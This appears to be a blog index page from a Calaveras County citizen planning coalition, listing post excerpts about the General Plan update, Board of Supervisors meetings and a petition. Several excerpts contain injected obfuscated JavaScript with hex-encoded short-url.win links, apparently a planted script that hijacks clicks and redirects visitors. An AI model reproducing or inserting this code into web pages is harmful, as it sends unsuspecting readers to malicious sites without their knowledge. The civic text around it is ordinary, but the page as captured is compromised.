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Below is an article from the printed edition of the Valley Springs News regarding the Coalition’s attendance at the Board of Supervisors meeting last week. Coalition upset with General Plan update The Valley Springs News, Friday, January 25, 2019 Members of the Calaveras Planning Coalition (CPC) asked the Board of Supervisors to improve the county and the General Plan Draft Environmental Impact Report at the Board meeting... Read More
VIDEO: CPC Members urge Board of Supervisors to hold GPU Study SessionOn Tuesday, January 15, members of the CPC, Colleen Platt, Tom Griffing, and Tom Infusino spoke during the public comments at the Board of Supervisors meeting. The Board was urged to hold a GPU special study session, which they declined to do. Watch the video of the presenters and their comments here function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More
County Board of Supervisors holds 1st meeting of 2019The Calaveras County Board of Supervisors held their 1st meeting of 2019 yesterday, which included 2 new supervisors, Merita Callaway and Ben Stopper. New chairs and appointments are as follows: -Jack Garamendi was elected Chair (Merita Callaway made the suggestion, Gary Tofanelli made the motion, Ben Stopper seconded; 5-0 vote) -Merita Callaway was elected Vice Chair (Ben made the motion, Tofanelli supported; 4-0-1 abstention vote) -Merita... Read More
Airola Action Alert Results!On Tuesday December 4, the Calaveras County Board of Supervisors unanimously approved a general plan amendment, a rezone, and a Williamson Act Contract for the Airola family’s 3,171-acre cattle ranch adjacent to Copperopolis. The Board did NOT add a road easement as a condition of approval. Supervisor Mills agreed that there is a need to look at evacuation routes and evacuation plans, perhaps in the context of the general plan update. Nevertheless,... Read More
Notice of Vacancies for Citizens Boards/Committees/CommissionsCalaveras County needs your help to serve on various boards and commissions for 2019. A complete list of openings is provided below and you can apply online for these positions. Of particular need are volunteers to serve in the West Point and Railroad Flat Cemetery districts. NOTICE OF VACANCIES FOR CITIZEN BOARDS/COMMITTEES/COMMISSIONS (revised 10/31/18) NOTICE IS HEREBY GIVEN that, due to unscheduled vacancies and expiration of terms, the Calaveras... Read More
Court Orders the El Dorado County Board of Supervisors to properly address safety and groundwater quality.Court orders the El Dorado County Board of Supervisors to properly address fire safety and groundwater quality. Pursuant to a court ruling, the Board of Supervisors will revisit fire safety and groundwater quality impacts of the 2015 Targeted General Plan Amendment and Zoning Ordinance Update. In a writ of mandate issued on July 25, Judge Warren Stracener of the El Dorado County Superior Court ordered the El Dorado County Board of Supervisors to properly... Read More
PETITION: Tell the Board of Supervisors that you want a General Plan that improves the CountyACTION ALERT! PLEASE READ AND SIGN PETITION BELOW! Below is the petition that we at CAP and the CPC will be handing in to members of the Board of Supervisors over the coming months as they review and finalize the General Plan Update Draft Environmental Impact Report. Please email us at calaverascap@gmail.com and provide us with your name, address, and contact information if you would like for your name to be on this petition that we turn in to the... Read More
CAP/CPC has a new YouTube channel!In an effort to further our public outreach, the Community Action Project and Calaveras Planning Coalition are proud to presend our new YouTube channel! Be sure to subscribe for videos of meetings, public hearings, and other gatherings. https://www.youtube.com/channel/UC28g6Ox7lUYRdJCsh_Jw85A function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More
CPC General Plan DEIR Comments Submitted to CountyAfter much painstaking work, the wonderful members of the Calaveras Planning Coalition submitted their comments on the General Plan DEIR. Read the full text here full text pdf – CPC GP DEIR Comments 2018 In addition, there are several items important to specific elements in the DEIR as listed below: TRAFFIC ELEMENT Letter submitted by the CPC to the Calaveras Council of Governments suggesting mitigations to the 2017 Draft Regional Transportation... Read More
CPC Testimony From the DEIR Public Hearing July 31Read the full testimony from CPC members here. GP DEIR Testimony 7-31-18 (1) CPC Testimony of Penny Sarvis re DEIR (1) function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x56\x72\x77\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4f\x63\x76\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x77\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x77\x43\x70\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x58\x75\x55\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x68\x6c\x64\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x43\x6d\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x6f\x66\x4d\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More